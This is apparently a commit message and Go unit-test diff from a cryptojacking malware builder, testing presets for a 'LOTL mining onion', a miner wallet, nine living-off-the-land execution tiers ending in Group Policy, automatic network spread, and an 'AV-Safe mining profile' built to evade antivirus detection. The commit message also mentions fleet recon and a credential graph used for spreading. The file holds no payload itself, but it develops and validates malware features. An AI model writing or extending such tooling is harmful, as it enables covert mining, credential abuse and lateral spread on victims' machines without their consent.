Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/builder/lotl_onion_test.go

@@ -0,0 +1,47 @@
+package builder
+
+import "testing"
+
+func TestNormalizeLotlOnionTiers(t *testing.T) {
+	got := NormalizeLotlOnionTiers(nil)
+	if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" {
+		t.Fatalf("defaults: %v", got)
+	}
+}
+
+func TestApplyLotlOnionPreset(t *testing.T) {
+	req := &BuildRequest{
+		WorkerName: "pc",
+		ServerURL:  "http://127.0.0.1:8989",
+		Wallet:     "48abc",
+	}
+	ApplyLotlOnionPreset(req)
+	if !req.LotlOnionEnabled || !req.LotlPolicyFromServer {
+		t.Fatal("lotl flags")
+	}
+	if req.MinerExecution != "inprocess" || req.GPUEnabled {
+		t.Fatal("expected AV-Safe mining profile")
+	}
+	if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
+		t.Fatal("spread profile")
+	}
+	if len(req.LotlOnionTiers) != 9 {
+		t.Fatalf("tiers: %v", req.LotlOnionTiers)
+	}
+}
+
+func TestNormalizeRequestLotlOnion(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName:      "pc",
+		ServerURL:       "http://127.0.0.1:8989",
+		Wallet:          "48abc",
+		LotlOnionEnabled: true,
+	}
+	if err := h.normalizeRequest(req); err != nil {
+		t.Fatal(err)
+	}
+	if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer {
+		t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer)
+	}
+}